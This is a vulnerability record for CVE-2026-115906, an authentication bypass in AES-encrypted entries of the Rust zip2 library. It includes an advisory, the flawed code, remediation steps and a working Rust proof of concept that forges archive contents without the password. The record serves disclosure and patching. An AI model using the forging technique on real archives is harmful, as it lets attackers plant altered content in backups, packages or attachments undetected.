{"id":"CVE-2026-115906","aliases":["GHSA-8hxf-qr8p-62x4"],"title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"MODERATE","description":"### Summary\n\nAn AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.\n\n### Details\n\n[`src/aes.rs:246-292`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L246-L292):\n\n```rust\nfn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {\n    if self.data_remaining == 0 { // @audit insufficient check\n        return Ok(0);\n    }\n\n    // get the number of bytes to read, compare as u64 to make sure we can read more than\n    // 2^32 bytes even on 32 bit systems.\n    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;\n    let read = self.reader.read(&mut buf[0..bytes_to_read])?;\n    self.data_remaining -= read as u64;\n\n    // Update the hmac with the encrypted data\n    self.hmac.update(&buf[0..read]);\n\n    // decrypt the data\n    self.cipher.crypt_in_place(&mut buf[0..read]);\n\n    // if there is no data left to read, check the integrity of the data\n    if self.data_remaining == 0 {\n        debug_assert!(\n            !self.finalized,\n            \"Tried to use an already finalized HMAC. This is a bug!\"\n        );\n        if self.finalized {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Tried to use an already finalized HMAC\",\n            ));\n        }\n        self.finalized = true;\n\n        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash\n        // see https://www.winzip.com/win/en/aes_info.html#auth-faq\n        let mut read_auth_code = [0; AUTH_CODE_LENGTH];\n        self.reader.read_exact(&mut read_auth_code)?;\n        let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];\n\n        // use constant time comparison to mitigate timing attacks\n        if !constant_time_eq(computed_auth_code, &read_auth_code) {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Invalid authentication code, this could be due to an invalid password or errors in the data\",\n            ));\n        }\n    }\n\n    Ok(read)\n}\n```\n\n`data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` ([`src/aes.rs:144-145`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L144-L145)), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` ([`src/types.rs:214-223`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/types.rs#L214-L223)), and `make_crypto_reader()` passes the declared value into `AesReader::new()` ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L219-L223)).\n\nWhen the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.\n\nThis defeats the guarantee the type documents: *\"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed.\"*\n\nAE-2 entries skip the CRC-32 check by design ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L248-L255) → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.\n\n### PoC\n\n`tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = \"https://github.com/zip-rs/zip2\", rev = \"6f09b3064ec87c3a69ea9f3413f9f9638b4aa446\" }`, or `zip = \"8.6.0\"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.\n\n```rust\nuse std::io::{Cursor, Read, Write};\nuse zip::write::SimpleFileOptions;\nuse zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};\n\nconst PASSWORD: &str = \"correct horse battery staple\";\nconst GENUINE: &[u8] = b\"balance: 100 USD\\n\";\nconst FORGED: &[u8] = b\"balance: 999 USD\\n\";\nconst AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag\n\nfn genuine_archive(plaintext: &[u8]) -> Vec<u8> {\n    let mut w = ZipWriter::new(Cursor::new(Vec::new()));\n    let opts = SimpleFileOptions::default()\n        .compression_method(CompressionMethod::Stored)\n        .with_aes_encryption(AesMode::Aes256, PASSWORD);\n    w.start_file(\"secret.txt\", opts).unwrap();\n    w.write_all(plaintext).unwrap();\n    w.finish().unwrap().into_inner()\n}\n\n/// What a victim does: open with the correct password and read the entry.\nfn victim_reads(archive: &[u8]) -> std::io::Result<Vec<u8>> {\n    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();\n    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();\n    let mut out = Vec::new();\n    f.read_to_end(&mut out)?;\n    Ok(out)\n}\n\nfn u16le(b: &[u8], off: usize) -> usize {\n    u16::from_le_bytes([b[off], b[off + 1]]) as usize\n}\n\n/// Payload offset of the single local file header at offset 0.\nfn payload_start(a: &[u8]) -> usize {\n    30 + u16le(a, 26) + u16le(a, 28)\n}\n\n/// Control: on a well-formed archive the HMAC does reject forged ciphertext.\n#[test]\nfn tampering_is_detected_when_the_declared_size_is_honest() {\n    let mut a = genuine_archive(GENUINE);\n    let ct = payload_start(&a) + 18;\n    for i in 0..GENUINE.len() {\n        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable\n    }\n    let err = victim_reads(&a).unwrap_err();\n    assert!(err.to_string().contains(\"Invalid authentication code\"));\n}\n\n/// The bypass: chosen plaintext is delivered verbatim, without the password.\n#[test]\nfn hmac_is_bypassed_when_the_entry_ends_early() {\n    let genuine = genuine_archive(GENUINE);\n    let hdr_len = payload_start(&genuine);\n    let eocd = genuine.len() - 22; // no archive comment yet\n    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;\n\n    // Park a second copy of the entry after the end-of-central-directory record,\n    // inside the archive comment, so its data ends at true EOF. Header, salt and\n    // password verifier are copied verbatim — no password knowledge is required.\n    let mut evil = genuine.clone();\n    let new_hdr_offset = evil.len() as u32;\n    evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier\n    for i in 0..GENUINE.len() {\n        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.\n        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);\n    }\n    let comment_len = (evil.len() - genuine.len()) as u16;\n    evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes());\n\n    // Repoint the central directory at the parked copy and declare more data than\n    // is present, so `data_remaining` can never reach zero.\n    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;\n    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes());\n    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes());\n    let hdr2 = new_hdr_offset as usize;\n    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes());\n\n    let content = victim_reads(&evil).expect(\"BUG: unauthenticated content was accepted\");\n    assert_eq!(content, FORGED);\n}\n\n/// Second path: an entry with no payload bytes is never authenticated at all.\n#[test]\nfn hmac_is_never_checked_for_a_zero_length_entry() {\n    let mut a = genuine_archive(b\"\");\n    let tag = payload_start(&a) + 18;\n    a[tag] ^= 0xff; // corrupt the 10-byte authentication code\n    let content = victim_reads(&a).expect(\"BUG: a corrupt authentication code was accepted\");\n    assert!(content.is_empty());\n}\n```\n\nTurning the genuine plaintext into a *chosen* plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.\n\n### Impact\n\nAny application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.\n\n### Suggested remediation\n\n1. In `AesReaderValid::read()`, treat a short inner read as an error rather than a clean EOF: after the decrement, if `read == 0 && self.data_remaining > 0`, return `ErrorKind::UnexpectedEof`.\n2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when `data_length == 0`.\n3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in `ZipFileData::find_content()` / `find_content_seek()` (`src/types.rs`). Also make the `compressed_size - overhead` subtraction in `AesReader::new()` (`src/aes.rs:144`) checked — today a declared size below the AES overhead underflows it, which panics under `overflow-checks` and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.","severity":"medium","score":6.5,"published":"2026-10-26T16:30:30.954Z","modified":"2026-10-31T01:32:55.292Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"crates.io","name":"zip","sources":[{"name":"OSV · GHSA-8hxf-qr8p-62x4","url":"https://osv.dev/vulnerability/GHSA-8hxf-qr8p-62x4"}],"ranges":[{"events":[{"introduced":"0.6.0"},{"fixed":"9.0.0"}],"type":"SEMVER"}],"versions":[],"fixed":["9.0.0"]}],"sourceAffected":[],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","https://nvd.nist.gov/vuln/detail/CVE-2026-115906","https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","https://github.com/zip-rs/zip2","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sources":[{"name":"OSV","id":"GHSA-8hxf-qr8p-62x4","modified":"2026-10-29T17:00:04.188177718Z","url":"https://osv.dev/vulnerability/GHSA-8hxf-qr8p-62x4"},{"name":"CVE","id":"CVE-2026-115906","modified":"2026-10-31T01:32:55.292Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-115906"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5},{"source":"GitHub_M","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5}],"cve":{"records":[{"id":"CVE-2026-115906","source":"GitHub_M","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-10-23T20:21:45.106Z","published":"2026-10-26T16:30:30.954Z","modified":"2026-10-31T01:32:55.292Z"}],"publishers":[{"name":"GitHub_M","role":"CNA","organizationId":"a0819718-46f1-4df5-94e2-005712e83aaa","modified":"2026-10-26T16:30:30.954Z"},{"name":"CISA-ADP","role":"ADP","organizationId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","modified":"2026-10-31T01:32:55.292Z"}],"references":[{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","tags":["x_refsource_CONFIRM"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","tags":["exploit"],"source":"CISA-ADP"}],"weaknesses":[{"id":"CWE-354","description":"CWE-354: Improper Validation of Integrity Check Value","source":"GitHub_M"},{"id":"CWE-1284","description":"CWE-1284: Improper Validation of Specified Quantity in Input","source":"GitHub_M"}],"applicability":[],"prioritization":[{"source":"CISA-ADP","type":"SSVC","role":"CISA Coordinator","timestamp":"2026-10-31T01:32:24.718914Z","decisions":[{"name":"Exploitation","value":"poc"},{"name":"Automatable","value":"no"},{"name":"Technical Impact","value":"partial"}]}]},"products":[{"vendor":"zip-rs","name":"zip2","platforms":[],"versions":[{"version":">= 0.6.0, < 9.0.0","status":"affected"}],"cpes":[],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-115906"}],"remediation":[],"observedAt":"2026-10-31T01:57:52.680Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T10:20:31.211Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-10-30T09:30:40.931Z","attemptedAt":"2026-10-30T09:30:40.931Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-30T09:30:40.178Z","attemptedAt":"2026-10-30T09:30:40.178Z"},{"source":"EUVD","status":"available","checkedAt":"2026-10-30T09:30:41.695Z","attemptedAt":"2026-10-30T09:30:41.695Z"},{"source":"EPSS","status":"available","checkedAt":"2026-10-30T09:30:44.167Z","attemptedAt":"2026-10-30T09:30:44.167Z"}],"evidence":[{"source":"GitHub Advisory Database","id":"GHSA-8hxf-qr8p-62x4","url":"https://github.com/advisories/GHSA-8hxf-qr8p-62x4","modified":"2026-10-29T16:40:09Z","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","checkedAt":"2026-10-30T09:30:40.178Z"},{"source":"NVD","id":"CVE-2026-115906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115906","modified":"2026-10-26T18:39:42.503","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","checkedAt":"2026-10-30T09:30:40.931Z"},{"source":"ENISA EUVD","id":"EUVD-2026-109983","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-109983","modified":"Oct 26, 2026, 4:30:30 PM","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","checkedAt":"2026-10-30T09:30:41.695Z"},{"source":"FIRST EPSS","id":"CVE-2026-115906","url":"https://www.first.org/epss/","probability":0.00151,"percentile":0.04171,"date":"2026-10-29","checkedAt":"2026-10-30T09:30:44.167Z"}],"aiSummary":{"text":"The zip2 library has a vulnerability in its AES-encrypted entry authentication, allowing an attacker to modify an archive and have chosen plaintext accepted without the password. This affects zip2 versions 0.6.0 to 9.0.0. The weakness is due to improper validation of the integrity check value and specified quantity in input.","model":"@cf/meta/llama-3.3-70b-instruct-fp8-fast","generatedAt":"2026-10-31T03:01:22.380Z","sources":[{"name":"OSV","url":"https://osv.dev/vulnerability/GHSA-8hxf-qr8p-62x4"},{"name":"CVE","url":"https://www.cve.org/CVERecord?id=CVE-2026-115906"}]}}